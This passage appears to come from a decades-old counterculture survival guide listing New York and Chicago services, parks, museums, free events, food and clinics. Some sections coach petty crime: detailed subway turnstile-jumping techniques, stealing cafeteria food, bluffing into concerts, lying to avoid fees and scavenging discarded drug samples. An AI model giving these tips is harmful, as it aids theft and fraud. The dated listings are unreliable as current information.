Legal Aid Society-100 Centre St. BE 3-0250 (criminal matters)
Mobilization for Youth Legal Services-320 E. Third St. 777-5250 (all types of services)
National Lawyers Guild-5 Beekman St. 277-0385 or 227-1078 (political)
New York Civil Liberties Union-156 Fifth Ave. 929-6076 (civil liberties)
New York University Law Center Office-249 Sullivan St. GR 3-1896 (civil matters)
DRAFT COUNSELING
Bronx
Claremont Neighborhood Center - 169th St. and Washington Ave. 588-1000. Hours
are from 2:00 to 10:00 weekdays.
Brooklyn
Black Anti-Draft Union - 448 Nostrand Ave.
Church of St. John the Evangelist - 195 Mayier St. 387-8721
Society for Ethical Culture - 53 Prospect Park West SO 8-2972
Manhattan
American Friends Service Committee - 15 Rutherford Place 777-4600
Chelsea Draft Information - 346 W. 20th St. WA 9-2391
Community Free Draft Counseling Center - 470 Amsterdam Ave. 787-8500
Greenwich Village Peace Center - 137 W. Fourth St. 533-5120
Harlem Unemployment Center - 2035 Fifth Ave. 831-6591
LEMPA - 105 Avenue B 477-9749
New York Civil Liberties Union - 156 Fifth Ave. 675-5990
New York Workshop in Nonviolence - 339 Lafayette St. 227-0973
Resistance - 339 Lafayette St. 674-9060
Union Theological Seminary - 606 W. 122nd St. MO 3-9090
War Resisters League - 339 Lafayette St. 228-0450
Westside Draft Information - 602 Columbus Ave. (89th St.) 874-7330
Woman's Strike for Peace - 799 Broadway 254-1925
PLAY
Botanical Gardens
Conservatory Gardens - Central Park, 105th St. and Fifth Ave. Seasonal display. LE
4-4938
Brooklyn Botanical Gardens - Flatbush and Washington Aves. Rose Oriental Garden,
Rose Garden, Native Wild Flower Garden, Rock Garden, Conservatory. Seasonal
display. MA 2-4433.
New York Botanical Gardens, Bronx Park, 200th St., east of Webster Ave. Gardens
and Conservatories. Seasonal displays. Parking fee: $1.00 on Saturday, Sunday and
holidays. Open: Grounds - 10:00 AM to dark, Greenhouses - 10:00 AM to 4:00 PM.
933-9400.
Queens Botanical Gardens, 43-50 Main St., between Dahilia and Elder Aves., Flushing.
TU 6-3800.
These gardens are really beautiful places to fuck around for a day. The best ones are the
Bronx and Brooklyn. Bring a picnic, a few friends, some grass, and plant the seeds. It's all
free.
Zoos
Central Park - 64th St. and Fifth Ave. Free. Open 11 AM to 5 PM.
Children's Zoo - 64th St. and Fifth Ave. Open 10 AM to 5 PM. Admission is 10 cents.
No tickets are sold after 4:30 PM. Free story-telling sessions with motion pictures or
color slides at 3:30 PM, Mondays through Friday.
Bronx Park - Fordham Road and Southern Blvd. WE 3-1500. Open daily from 10 AM to
5 PM. November, December, January closes at 4:30 PM. Admission on Tuesdays,
Wednesdays and Thursdays is 25 cents for adults and children over 5 years. Free on
other days and all legal holidays. Children's Zoo closes November 1st.
Barrett Park Zoo - in Richmond, Broadway, Glenwood Place and Clove Road. Open
daily 10 AM to 5 PM. GI 2-3100.
Unlike the barbaric cages in Central Park, the 18-acre Flushing Meadow Zoo in Queens has
been designed so that visitors can view the animals and buds in their natural surroundings,
without bars. Take the Main Street Flushing Line Subway (train number 7) from Times
Square to 111th St. in Queens. Bronx Zoo which is the largest in the United States and
Flushing Meadow Zoo are fantastic.
Beaches
Brooklyn - Coney Island Beach and Boardwalk ES 2-1670
Manhattan Beach - Oriental Blvd., from Ocean Ave. to Makenzie St. DE 26794
Bronx - Pelham Bay Park - Orchard Beach and Boardwalk TI 5-1828
Queens - Jacob Riis Park - Jamaica Bay, Beach 149 to Beach 169 GR 4-4600
Rockaway Beach - First St. to 149th St. GR 4-3470
Richmond - Great Kills Park - Hylan Blvd., Great Kills EL 1-1977
South Beach and Boardwalk - Ft. Wadsworth to Miller Field, New Dorp YU 7-0709
Wolfs Pond Park - Holten and Cornelia Avenues, Princes Bay YU 4-0360
Go to the beach on weekdays as it usually is very crowded on the weekends. The best beach
by far is Rockaway. lt has pretty good waves.
Swimming Pools MANHATTAN - OUTDOOR POOLS
Carmine Street Pool - Clarkson St. and Seventh Ave. WA 4-4246
Colonial Pool - Bradhurst Ave. and W. 145th St. WA 6-8109
East 23rd Street Pool - Asser Levy Place MU 5-1026
Hamilton Fish Pool - E. Houston and Sheriff Streets GR 7-3911
Highbridge Pool - Amsterdam Ave. and W. 173rd St. WA 3-2360
John Jay Pool - 77th St., east of York Ave. at Cherokee Place. RE 7-2458
Lasker Memorial Pool - Central Park, 110th St. and Lenox Ave. 348-6297
Thomas Jefferson Pool - 111th St. and First Ave. LE 4-0198
West 59th Street Pool - between West End and Amsterdam Avenues. CI 5-8519
MANHATTAN - INDOOR POOLS
Baruch Pool - Rivington St. and Baruch Place GR 3-6950
East 54th Street Pool - 342 E. 54th St. and Second Ave. PL 8-3147
Rutgers Place Pool - 5 Rutgers Place GR 3-6567
West 28th Street Pool - 407 W. 28th St. CH 4-1896
West 134th Street Pool - 35 W. 134th St. AU 3-4612
BROOKLYN - OUTDOOR POOLS
Betsy Head Pool - Hopkinson and Dumont Avenues DI 2-2977
McCarren Pool - Driggs Ave. and Lorimer St. EV 8-2367
Red Hook Pool - Bay and Henry Streets TR 5-3855
Sunset Pool - Seventh Ave. and 43rd St. GE 5-2627
BROOKLYN = INDOOR POOLS
Brownsville Recreation Center - Linden Blvd. and Christopher Ave. HY 8-1121
Metropolitan Avenue Pool - Bedford Ave., no phone; call SO 8-2300
St. John's Recreation Center - Prospect Place and Schenectady Avenues HY 3-3948
BRONX OUTDOOR POOLS
Crotona Pool - E. 173rd St. and Fulton Ave. LU 3-3910
BRONX - INDOOR POOLS
St. Mary's Recreation Center Pool - St. Ann's Ave. and E. 145th St. CY 2-7254
QUEENS - OUTDOOR POOLS
Astoria Pool - 19th St. and 23rd Drive, Astoria AS 8-5261
Flushing Meadow Amphitheatre - Long Island Expressway and Grand Central Parkway,
Swimming pool and diving pool. 699-4228.
RICHMOND - OUTDOOR POOLS
Faber Pool - Faber St. and Richmond Terrace GI 2-1524
Lyons Pool - Victory Blvd. and Murray Hulbert Ave. GI 7-6650
The pools are generally crowded but on a warm summer day you don't care. The pools are
open on weekdays from 10 AM to 12:30 PM. There is a free period for children 14 years of
age and under. No adults are admitted to the pool areas during this free period. After 1
PM on weekdays and all day on Saturdays, Sundays and holidays there is a 15 cents charge
for children under 14 years and a 35 cents charge for children over 14 years.
Free Cricket Matches
At both Van Cortland Park in the Bronx and Walker Park on Staten Island every Sunday
afternoon there are free cricket matches. Get schedule from British Travel Association, 43
W. 61st St. At Walker Park, free tea and crumpets are served during intermission. I say!
Free Park Events
All kinds of activities in the Parks are free. Call 755-4100 for a recorded announcement of
the week's events. The freak center is the rowing pond around 70th St. and Bethesda
Fountain around 72nd St. in Central Park, although it floats. Busts are non-existent. A
complete list of all recreational facilities can be obtained by calling the New York City
Department of Parks.
Museums
American Academy of Arts and Letters, American Numismatic Society, and the
American Geographical Society are all located at Broadway and 155th St.
Asia House Gallery - 112 E. 64th St. Art objects from the Far East.
Brooklyn Museum - Eastern Parkway and Washington Ave. Egyptian stuff best in the
world outside Egypt. Take IRT (Broadway line) express train to Brooklyn Museum
station. (Don't miss the Gardens in back.)
The Cloisters - Weekdays 10 AM to 5 PM, Sundays 1 PM to 6 PM. Take IND Eighth
Avenue express (A train) at 190th Str. station and walk a few blocks. The number 4
Fifth Avenue bus also goes all the way up and it's a pleasant ride. One of the best trip
places in medieval setting.
Frick Museum - 1 E. 70th St. Great when you're stoned. Closed Mondays.
The Hispanic Society of America - Broadway between 15th and 16th Streets. The best
Spanish art collection in the city.
Marine Museum of the Seaman's Church - 25 South St. All kinds of model ships and
sea stuff. Also the Seaport Museum on 16 Fulton St.
Metropolitan Museum - 5th Ave. and 82nd St.
Museum of the American Indian - Broadway at 155th St. Largest Indian museum in
the world. Open Tuesday to Sunday 1 to 5 PM. Take IRT (Broadway line) local to 157th
St. station.
Museum of the City of New York - 103rd St. and 5th Ave. LE 4-1672
Museum of Modern Art - 11 W. 53rd St. CI 5-3200. Monday is free.
Museum of Natural History - Central Park West and 79th St. Great dinosaurs and
other stuff. Weekdays 10-5 PM, Sunday 1-5 PM.
Museum of the Performing Arts - Lincoln Center, Amsterdam Ave. and 65th St.
799-2200
New York Historical Society - 77th St. and Central Park West. TR 3-3400
Chase Manhattan Museum of Money - 1256 6th Ave. All banks, especially Chase
Manhattan ones are museums when you get right down to it. Liberate them!
Music
Summer Musical Festival in Central Park. About the closest you can come to good
free rock music. There are concerts every Monday, Wednesday, Friday and Saturday
in the months of July and August. It only costs $1.00 or $2.00, and everybody in the
music world plays at least once. The concerts are held at the Wollman Ice Skating
Ring. Occasionally there are free rock concerts in Central Park.
The Greenwich House of Music located at 46 Barrow St. in the West Village puts on
free concerts and recitals every Friday at 8:30 PM. For a complete schedule send a
stamped, self-addressed envelope.
The Frick Museum, 1 E. 70th St., BU 8-0700, has concerts every Sunday afternoon.
The best of the classical offerings. You must hassle a little. Send a self-addressed
stamped envelope that will arrive on Monday before the date you wish to go. One
letter, one ticket. The Donnell Library, 20 W. 53rd St. also presents free classical
music. The schedule is found in "Calendar of Events" at any library.
The Juilliard School presents a variety of free stuff: orchestral, opera, dance, chamber
music, string quartets and soloists. Performances take place most Friday evenings at
8:30 PM, from November through May.
The Museum of the City of New York, 5th Ave. between 103rd St. and 104th St. every
Sunday at 2:30 PM, October through April. Phone first: LE 4-1672. Classical.
New York Historical Society, from December through April, has glee clubs, string
groups, and classical singers performing on Sundays at 2:30 PM., 170 Central Park
West (near 77th St.), Phone TR 3-3400 for schedule.
Brooklyn Museum has classical concerts by assorted soloists and groups and are
presented free every Sunday from October through June at 2 PM, Eastern Parkway
and Washington Ave. NE 8-5000.
Television Shows
You can sometimes pick up tickets to television shows at the New York Convention and
Visitors Bureau, 90 E. 42nd St. For the bigger and better shows you have to write direct to
the studios. If you do write, do it as far in advance as possible. CBS, 51 W. 52nd St., asks
you to write two months in advance. Sometimes you can get last-minute tickets for the Ed
Sullivan Theater, 1697 Broadway. For NBC shows, write NBC Ticket Division, 30 Rockefeller
Plaza. There is also a ticket desk on the NBC Mezzanine of 30 Rockefeller Plaza where
tickets are given out for the day shows on a first-come-first-served basis. It's open Monday
through Friday from 9-5. ABC, 1330 Sixth Ave. ask you to write two to three weeks in
advance for tickets. You can get tickets up to the day of the show by calling in or visiting
the ticket office of ABC, 79 W. 66th St. or 1330 6th Ave. (LT 1-7777). Metromedia also
gives out free tickets to their shows and you can get them by writing to WNEW-TV, 205 E.
67th St. (LE 5-1000).
Theater
The Dramatic Workshop, Studio number 808, Carnegie Hall Building, 881 7th Ave. at
56th St. Free on Friday, Saturday and Sunday at 8:15 PM. JU 6-4800 for information.
New York Shakespeare Festival, Delacourte Theater, Central Park. Every night except
Monday. Performance begins at 8:00 PM, but get there before 6:00 PM to be assured
of tickets.
Pageant Players, the Sixth Street Theater Group and other street theater groups
perform on street corners and in parks. Free theater is also provided at the United
Nations Building and the Stock Exchange on Wall Street. If you enjoy seventeenth
century comedy.
The Equity Library Theatre gives performances of old Broadway hits at the Masters
Institute, 103rd St. and Riverside Drive. They perform Tuesday through Sunday at
8:30 PM and Sunday at 2:30 PM. Free tickets are not always available so phone ahead
(MO 3-2038) for reservations. No shows during the summer.
The Museum of Performing Arts, 111 Amsterdam Ave. offers plays, dance programs
and music. Shows start at 6:30 PM. Tickets are handed out at 4:00 PM. Saturday
shows start at 2:30 PM. You can write for a calendar of events to 1865 Broadway or
call 799-2200.
Movies
The New York Historical Society, Central Park West and 77th St. presents Hollywood
movies every Saturday afternoon. TR 3-3400 for a schedule.
At the Metropolitan Museum, Fifth Ave. and 82nd St., you can see art films every
Monday at 3:00 PM. TR 9-5500 for a schedule.
New York University has a very good free movie program as well as poetry, lectures,
and theatre presentations. Call the Program Director's Office 598-2026 for a
schedule.
The Film Library in the Donnell Library, 20 W. 53rd St., 790-6463, has a wide variety
of films which may be borrowed free of charge. The Library system also presents film
programs throughout the year. Pick up a Calendar of Events which lists the free
showings at all the branches.
The Museum of Modern Art is free every Monday and they have a free film showing at
2 and 5 PM. Get a schedule at the Museum. They have the largest movie collection in
the world.
Museum of Natural History, Central Park West between 77th and 81st St. (TR
3-1300), presents travel and anthropological films on Wednesday and Saturday
afternoons at 2:00 sharp, from October through May.
Every movie that plays in New York has a series of screenings for critics, film buyers and
friends of the folks that made it. Look in the Yellow Pages under Motion Picture Studios
and Motion Picture Screening Rooms. Once you get the feel of it, you'll quickly learn who
shows what, where and when. They always let you in free and if not give some gull story. (See
Free Entertainment section). If you see previews in a theater or notice a publicity build-up
in the newspapers, the movie is being screened at one or more of the rooms.
INFORMATION
Daily News-220 E. 42nd St., will answer any questions you put to them. Well almost!
General information: 883-1122
Sports: 883-1133
Travel: 883-1144
Weather: 883-1155
For the latest news, call the wire services:
AP is PL 7-1312, UPI is
MU 2-0400.
The New York Times Research Bureau, 229 W. 43rd St., 556-1651, will research news
questions that pertain to the past three months. Liberation News Service at 160
Claremont Ave., will give you up-to-the-minute coverage of radical news. Call 749-2200.
UNDERGROUND PAPERS
East Village Other-20 E. 12th St., 255-2130
Liberation-339 Lafayette St., 674-0050
Other Scenes-Box 8, Village Station, 242-3888
Rat-241 E. 14th St., 228-4460
Win-339 Lafayette St., 674-0050
For others, call Underground Press Syndicate, Box 26, Village Station, 691-6073
MISCELLANEOUS
Dial-A-Beating-911
Dial-a-Demonstration 924-6315
Dial-a-Satellite-TR 3-0404
Time-NERVOUS
Weather-WE 6-1212.
The Switchboard-989-0720, at the Alternate U, is open 6 PM to 3 AM.
THE SUBWAY SYSTEM
The first thing to do is get familiar with the geography of stops you use most frequently.
Locate the token cage. Check to see whether the exits are within easy view of the teller, off
to the side, or blocked from view by concrete pole-supporters. Next learn the type of
turnstile in use. Follow the hints laid down in the Free Transportation section.
The rush hours are always the easiest times. Just go through the exits as people push open
the door. Also at crowded hours, people go single file past the turnstiles, one after another
in a steady stream. Get in line and go under. The people will block you from view and won't
do anything. Even a cop won't give you much hassle. Some subway stations have concrete
supports that block the teller's view. Where these exist, slip through the exit nearest the
pole or slide by the turnstile.
Turnstile jumping is such a skill, it's going to be added to the Olympics. There are three
basic styles common to New York and most cities and each needs a slightly different
approach.
The Old Wooden Cranker-(Traditional) You have to go under or sail over this type. Going
under is a smoother trip. Going over is trickier since you need both hands free to hurdle
and it's a quicker, more noticeable motion.
New-Aluminum-Bar-Turnstiles-Which-Turn-Both-Ways-For-Exit-and- Entrance-Approach it
with confidence. Pretend you're putting in a token with your right hand and pull the bar
toward you one third of the way with your left hand. Go through the space left between the
bars and the barrier. Not for heavyweights!
New-Aluminum-Bar-Turnstiles-Which-Can-Be- Used-Only-For-Entrance-They won't pull
towards you, and so, you must go either under or over them.
NOTE: There is no way to tell a New-Aluminum-Bar-Turnstile-Which-Turns-Both--
Ways-For-Exit-and-Entrance from a New-Aluminum-Bar-Turnstile-Which-
Can-Be-Used-Only-For-Entrance unless there is a sign. You have to try it first. Therefore, it
is important to remember which kind is in use at your local station so your technique will
be smooth. Once you're through, remember in your mind you've paid. Ignore everybody who
tries to stop you or tell you different. If someone shouts just keep on truckin' on toward
your track. Don't stop or run. Insist you are right if you ever get caught. We have been
doing it for years, got caught twice and let go both tunes when other passengers insisted
we paid. Everybody hates the subways, even the tellers.
FREEBIES
Clothing Repairs
All Wallach stores feature a service that includes sewing on buttons, free shoe horns, and
shoe laces, mending pants pockets and linings, punching extra holes in belts, and a number
of other free services.
Furniture
By far the best place to get free furniture in New York is on the street. Once a week in
every district, the Sanitation Department makes bulk pick-ups. The night before, residents
put out all kinds of stuff on the street. For the best selection try the West Village on
Monday nights, and the East Seventies on Tuesday nights. On Wednesday night there are
fantastic pick-ups on 35th St. in-back of Macy's. Move quickly though, the guards get
pissed off easily; the truckers couldn't care less. This street method can furnish your whole
pad. Beds, desks, bureaus, lamps, bookcases, chairs, and tables. It's all a matter of
transportation. If you don't have access to a car or truck, it's worth it to rent a station
wagon and make pick-ups.
Ghosts
If you would like to meet a real ghost, write Hans Holtzer, c/o New York Committee for
Investigation for Paranormal Research, 140 Riverside Drive, New York, NY. He'll put you in
touch for free.
Free Lessons
Lessons in a variety of skills such as plumbing, electricity, jewelry-making, construction and
woodworking are provided by the Mechanics Institute, 20 W. 44th St. Call or write them
well in advance for a schedule. You must sign up early for lessons as they try to maintain
small courses. MU 7-4279.
Poems
are free. Are you a poem or are you a prose?
Liberated Churches
Saint Mark's in the Bowery, Second Ave. and 10th ST. (674- 6377
Washington Square Methodist Church, 133 W. Fourth St.,
Greenwich Village (777-2528); Judson Memorial Church, Washington Square South
(725-9211).
Flowers
At about 9:30 AM, free flowers in the Flower District on Sixth Ave. between 22nd St. and
23rd St. Once in a while, you can find a potted tree that's been thrown out because it's
slightly damaged.
The Staten Island Ferry-Not free, but a nickel each way for a five mile ocean voyage around
the southern tip of Manhattan is worth it. Take IRT (Broadway line) to South Ferry, local
only. Ferry leaves every half-hour day and night.
Drugs
In the area along Central Park West in the Seventies and Eighties are located many
doctor's offices. Daily they throw out piles of drug samples. If you know what you're looking
for, search this area.
Books
You can always use the library. The main branch is on Fifth Ave. and 42nd St. The Public
Library prints a leaflet entitled "It's Your Library" which lists all the 168 branches and
special services the library provides. You can pick it up at your nearest branch. They also
publish a calendar of events every two weeks which is available free. If you have any
questions call 791-6161.
You can get free posters, literature and books from the various missions to the United
Nations located on the East Side near the UN Building. The Cuban Mission, 67th St., will
give you free copies of Granma, the Cuban newspaper, Man and Socialism in Cuba, by Che
Guevara and other literature.
Maps
A free subway map is available at any token booth. Good if you're new in the city and don't
know your way around.
Pets
ASPCA, 441 E. 92nd St. and York Ave., TR 6-7700. Dogs, cats, some birds and other pets.
Tell them you're from out of town if you want a dog and you will not have to pay the $5.00
license fee. Have them inspect and inoculate the pet; which they do free of charge. A place
to look for free pets is in the Village Voice under their column Free Pets.
Radio Free New York
WBAI FM, 99.5 on your dial. 30 E. 39th St. (OX 7-8506).
Free Schools
Alternative University, 69 W. 14th St. (989-0666). A good radical school offering
courses in karate, Mao, medical skills and other courses. They will send you a
catalogue listing current courses.
Bottega Artists Workshop, 1115 Quentin Road, Brooklyn, 336-3212 has art taught by
professionals for a free.
GENERAL SERVICES
Contact-220 E. Seventh St. Open 3 to 10 PM. Raps, contacts, mailing addresses,
counseling, sometimes food.
Traveler's Aid-204 E. 39th St. MU 4-5029
Village Project-88 Second Ave. Open 2 to 6 PM. Same as Contact.
fuck chicago
HOUSING
Contrary to rumors, none of us have ever been to Chicago. None-the-less, we have some
friends who have visited the area. In Chicago, everyone 17 or under must be off the streets
by 10:30 PM and by 11:30 PM on Fridays and Saturdays. Don't sleep in Lincoln Park during
political conventions, but other nights it's O.K. Wasn't it Hillel who asked, "Why is this night
different from all other nights?" And wasn't it Mayor Richard J. Daley who responded,
"Cause I say get your ass out of the park!"
The Chicago Seed (929-0133) will give you the best advice on crashing and the local heat
scene. Grace Lutheran Church, 555 W. Beldon St., and the Looking Glass at 1725 W. Wilson
also have crashing places or know where you can find free room and board.
You won't get hassled if you sack out in the Union Station on Adams Street just over the
bridge. There are loads of folks crashing in abandoned buildings along LaSalle and other
streets. Also the rooftops are cool. Stay off the streets though, unless you've got good
identification.
FOOD
SCLC (Operation Breadbasket) has a free breakfast program every morning Monday
through Friday from 7-10 AM at St. Anna Church, 55th St. and LaSalle St., and also at
Christ the King Lutheran Church located at 3700 Lake Park.
You can get free samples of cheese, meat, and coffee everyday at the Stop and Shop food
store located on Washington between Dearborn and State Streets. At the Treasure Island
grocery store located on Broadway, two blocks north of Belmont, free coffee and cookies
are offered for the people. Halloway House at 27 W. Randolph gives coupons good for
coffee. Also at the Guild Bookstore at 25 W. Jackson Blvd., and from the machines at the
4th through 14th floors of the Playboy Building.
There are real cheap restaurants. One is a truck-stop in Skokie called Karl's Cafe. It's just
north of Oakton on Skokie Highway. It's open until 6:00. You get a whole lot of food for
$1.00. Also, under the viaduct at Milwaukee and Damen is a small restaurant with Polish
food. You can get a great meal for $1.35. It's worth a visit. It closes early in the evening.
Another cheap restaurant is Paul and Ernie's on North Lincoln, just south of Wrightwood.
You can have a beef dinner for about 70 cents.
A good place to pick up free vegetables and fruits is at the wholesale market on Randolph
St. or S. Water St. on Friday afternoons. Many of the food factories such as Kraft Dairy
Products give away free samples and cases for "charity." Check them out.
It is possible to steal food from the 2nd floor Federal Building Cafeteria at Adams and
Dearborn and the National Cafeteria at Clark and Van Buren. These cafeterias usually have
long lines and you can eat while standing and just pay for the coffee.
If you have a place to cook and store food, there are a few places that have pretty cheap
food. The east gate of International Harvester, located at 1015 W. 120th St. is
unbelievable. Dig these bargains! 10 pounds of T-bone steaks (boxed) for $5.25 at midnight.
at 4 PM, the produce man brings a different combination of goods. A typical bill of fare
might include tomatoes, cucumbers, strawberries, etc. at $1.00 for 10 pounds of any item.
The produce might vary from day to day, but the prices stay the same. On Thursdays at
noon and 4 PM, the Lennell cookie man comes around. It's $1.25 per box. At 7 PM, the
sausage man arrives and the standard price is $2.00. The standard size is 3 to 5 pounds.
He has salami, liver sausage, polish sausage, and usually odd lunchmeat such as bologna or
summer sausage. All the food is sold out of trucks, and the prices might not be exact, but
they're pretty close.
Eggs are about 3 dozen for $2.00 on Randolph west of Halsted. Orange juice is pretty
cheap at the Del Farm on Broadway. Wonder Bread thrift store on Diversey; Butternut,
87th St. and Ridgeland and 1471 W. Wilson, and Silvercup, 55th and Federal, offer bread
and rolls at big discounts. The Cicero Bottling Company at 31st St. and 48 Court sell a
case of 12 quart bottles for $2.00. Mamas Cookies, 7400 S. Kastner give 5 pounds for
$1.50. At Burhops, State and Grand, you can get cheap 5-pound boxes of steak. The
Railroad Salvage around Madison and Halsted has dented cans (with stuff inside) for big
discounts. It is also a good place for paper products. Campbell Soup, 2250 W. 55th St.,
open Tuesday and Thursday, will give you cases free or at discounts if you tell them it's for
charity or look straight. Two good spots for all around shopping are the Hi-Lo on Lincoln,
north of Irving. There's lots of stuff for 10 cents. Marathon Products at Randolph and
Halsted is another good place.
If you can survive on just one meal a day, you're set. The city has just opened 14 free lunch
centers throughout the town. They are located at:
Antgeld Urban Progress Center-967 E. 132nd St.
Area II Multi-Service Center of DHR-1500 N. North Park
Division Street Urban Progress Center-1940 W. Division
DHR Woodlawn District Office-6317 S. Maryland
Englewood District Office of DHR-6003 S. Halsted
Garfeld Neighborhood Service Program-9 S. Kedzie
Halsted Urban Progress Center-1935 S. Halsted
Lawndale Urban Progress Center-3818 W. Roosevelt
Madden Park Fieldhouse-500 E. 37th St.
Martin Luther King Urban Progress Center-4741 S. King Drive
Montrose Urban Progress Center-901 W. Montrose
North Kenwood CCUO Office-4155 S. Lake Park
South Chicago Urban Progress Center-9231 S. Houston
Southern District DHR Office-2108 E. 71st St.
The free hot meals consist of meat, potatoes, a vegetable, dessert, fruit, and coffee or milk.
You have to give them a name and an address.
MEDICAL CARE
All three major universities have excellent clinics that do most kinds of medical work for
free. The University of Chicago maintains a clinic at 950 E. 59th St. The University of Illinois
has one located at 840 S. Wood. In addition to good medical care, Northwestern University
Clinic offers very cheap dental treatment. The clinic is at 303 E. Chicago. Call the main
switchboard of the schools and ask for the clinics to check out services and hours.
A V.D. clinic is open every weekday and late on Wednesdays at 27 E. 26th St. and N. North
Park. Chronic diseases are treated at 2974 N. Clybourn. Free chest X-rays are available at
City Hall downtown, everyday. For mental health problems, try the clinic at 1900 N.
Sedgwick (642-3531).
Drug education is offered by Earth Mother on Wednesdays at the Grace Church, 555 W.
Belden. Information and help with bad trips can be obtained through Just Us, 61 N.
Parkside (378-7618) or LSD Rescue Service, 7717 N. Sheridan (338-6750). Chicago has a
number of good clinics maintained by movement and community groups spread throughout
the city for the people that live in the area. The Black Panther Party runs the Spurgeon
"Jake" Winters Free People's Clinic at 3850 W. 16th St. (522-3220).
The Young Patriots Uptown Health Service located at 4408 N. Sheridan (334-8957) serves
the people in that community. The Young Lords maintain the Dr. E. Betances Free People's
Health Center at Peoples Church, 834 W. Armitage (549-8505). The Latin American
Defense Organization has a clinic on 2353 W. North Avenue, (276-0900). The growing
Student Health Organization administers a number of small clinics in various communities.
Call them at 493-2741 or drop into their office at 1613 E. 53rd St. At the Holy Covenant
Church, on Wilton and Diversey, you can get medical assistance at the Free People's Clinic
as well as help with legal, housing, family planning and nutrition problems. Call 348-6842. All
these clinics provide a variety of services and operate on different schedules. Call them
first to be sure they are open.
LEGAL AID
Chicago has a number of good law schools and you can often get some assistance or
referral by calling them and speaking to the editor of the law school paper. You can go to
the bathroom for free in the Julius J. Hoffman Room at Northwestern University Law
School.
The Law Student Commune, 357 E. Chicago, 649-8462, is a group of young radical lawyers
and law students trying to bring legal assistance into the streets. The People's Law Office
2156 N. Halsted, 929-1880 operates the same way. For community problems, call the
Lincoln Park Rights Center, 525-9775, or the Community Legal Counsel, 726-0157. The
ACLU maintains a large chapter in Chicago at 6 S. Clark, 236-5564, and handles cases
where civil liberties are affected.
DRAFT COUNSELING
American Friends Service Committee - 407 S. Dearborn St. 427-2533
Austin Draft Counseling Center - 5903 Fulton 626-9385
Chicago Area Draft Resisters (Cadre) - 519 W. North Ave. 664-6895
Chicago Circle Draft Information Organization University of Illinois, 317 Chicago Circle
Center 663-2557
Hyde Park Draft Information Center - Quaker House, 5615 S. Woodlawn Ave.
363-1248
Kennedy King Draft Counseling Center - 7047 S. Stewart - 488-0900, ext. 36
Lawndale Draft Counseling - 4049 W. 28th St. 277-3140
Loyola Draft Counseling Center 6525 N. Sheridan, 274-3000 ext. 378
Mandel Legal Aid Clinic - 6020 S. University Ave. 324-5181
Ravenswood Draft Counseling - Barry Memorial Methodist Church, 4754 N. Leavitt
784-3272
Roosevelt Selective Service Counseling Organization - Roosevelt University Student
Senate Office, Rm. 204, 430 S. Michigan Ave. 922-3580 ext. 334
South Side Draft Information (Mt. Carmel Book Dist.) 2355 W. 63rd St. 925-3686
Uptown Hull House Draft Information Service - 4520 N. Beacon St. 561-8033
Wellington Avenue Congregational Church Draft Counseling Center - 615 W. Wellington
Ave. 935-0642.
PLAY
Parks
Lincoln Park stretches along Lake Michigan in the Northern section of the city. It has a
Conservatory and Zoo, opened 9 AM to 5 PM. Just south of the zoo is the gathering place
for free rock concerts, be-ins, and the like. There is also a zoo in the Brookfield section at
8400 W. 31st St. The Morton Arboretium located on Route 53 in Lisle is open every day till
sunset. The Shedd Aquarium is located at 1200 South Lake Shore Drive at Roosevelt.
Music
The Auditorium and Opera House sometimes offers free concerts on Sunday and
weeknights. Hang around the lobby and claim there are tickets in your name at the box
office. Even if it's a pay concert you can generally bluff your way inside. The Center for New
Music, 2263 N. Lincoln, usually has free concerts on Sunday and Monday at 8 PM. WGLD is
the local underground station. The Universal Life Church Coffee House, 1049 W. Polk has
free rock and folk music on the weekends. Free City Music sponsors free rock concerts
during the spring and summer in Lincoln Park.
MUSEUMS
The Art Institute - Adams and Michigan. Opens daily at 10 AM. Great art museum.
Chicago Academy of Science-Lincoln Park at 2001 N. Clark. (LI 9-0606) Open daily
from 10 AM to 5 PM.
Field Museum of Natural History-Roosevelt Road at Lake Shore Drive. Time of opening
varies from day to day; call 922-9410. Thursday, Saturday and Sunday admission is
free.
Museum of Contemporary Art-237 E. Ontario (943-7755) Open daily.
Museum of Science and Industry-57th St. in the Hyde Park area. (MU 4-1414) Open
daily from 9 AM to 5 PM. Our all-time favorite museum.
The Oriental Institute-University of Chicago campus, 1155 E. 58th St. (643-0800)
Open daily, except Monday, from 10AM to 5 PM.
Poetry
The Other Door Coffee House, 3124 N. Broadway, features nightly poetry readings and
music. Call 348-8552. Cafe Pergolesi, 3404 N. Halsted, features poetry readings, baroque
music and an art gallery. There is no cover or minimum. Open 6 to 12 PM, and till 1:00 AM
on Saturday.
Theater
The Playhouse North, 315 W. North Ave. features free theater. For $1.00, you can see
various groups perform at the Harper Theater Coffee House at 5238 S. Harper. Second
City, l616 N. Wells, has free improvisations after their evening performances every evening
except Fridays. Free children's theater can be seen at La Dolores, 1980 North Orchard,
Mondays and Wednesdays at 1 PM. Call 664-2352.
Movies
The Biograph Theater, 2433 N. Lincoln Ave. shows double bills for $1.25 and has a
penny candy counter. John Dillinger got ambushed when he left the place. Free
Newsreel films can be seen Wednesdays at 8 PM at the Neighborhood Commons,
Wisconsin and Freemart. Newsreel, 2744 N. Lincoln (248-2018) provides movement
films for free or law cost to groups.
Alice's Revisited, 950 N. Wrightwood, is a restaurant that shows free movies. On
Fridays and Saturdays at 8 PM they have free folk-rock-blues music. Saturdays they
also have free children's theater. Tuesdays they have psychodrama, also for free. Call
528-4250 for more info.
INFORMATION
The Switchboard number is 281-7197.
Underground Papers
Rising Up Angry - 2261 N. Lincoln 472-1791
Second City - 2120 N. Halsted 549-8760
The Chicago Seed - 950 W. Wrightwood 929-0133
The Seed features a column called "Making It," which deals with survival in the Windy City. It
is probably the best of its type in the country.
The Black Panther Party office is located at 2350 W. Madison (243-8276).
COMMUNITY PRINTING
Agitprop - no office; phone 929-0133
Chicago Print Co-op. - 6710 N. Clark
J. S. Jordan Memorial Printing Co-op. - 6710 N. Clark
Omega Posters - 711 S. Dearborn
Red Star Press - 180 N. Wacher
SCHOOLS
The People's School, 4409 N. Sheridan (561-6737), offers free courses in many areas of
survival and radical politics. The White Panther Party, 787-1962, offers courses in street
fighting, history of American radicalism, and dialectic sexism.
FREEBIES
Clothes
The Concerned Citizens Survival Front, 2512 N. Lincoln Ave. has clothes. Try the dry
cleaners on Armitage east of Halsted along the south side of the street. They give away
unclaimed stuff. Also Brazil Cleaners at 3943 Indiana. The Eugene Blue Jean Store at 7017
Paulina has jeans, old army shirts and other items for less than a dollar.
Furniture
The Lake Shore Drive area on collection days has furniture. Call the bureau of Streets and
Sanitation for a collection schedule.
Free Store
At 727 S. Laflin, you'll find a genuine free store that gives away everything you can imagine.
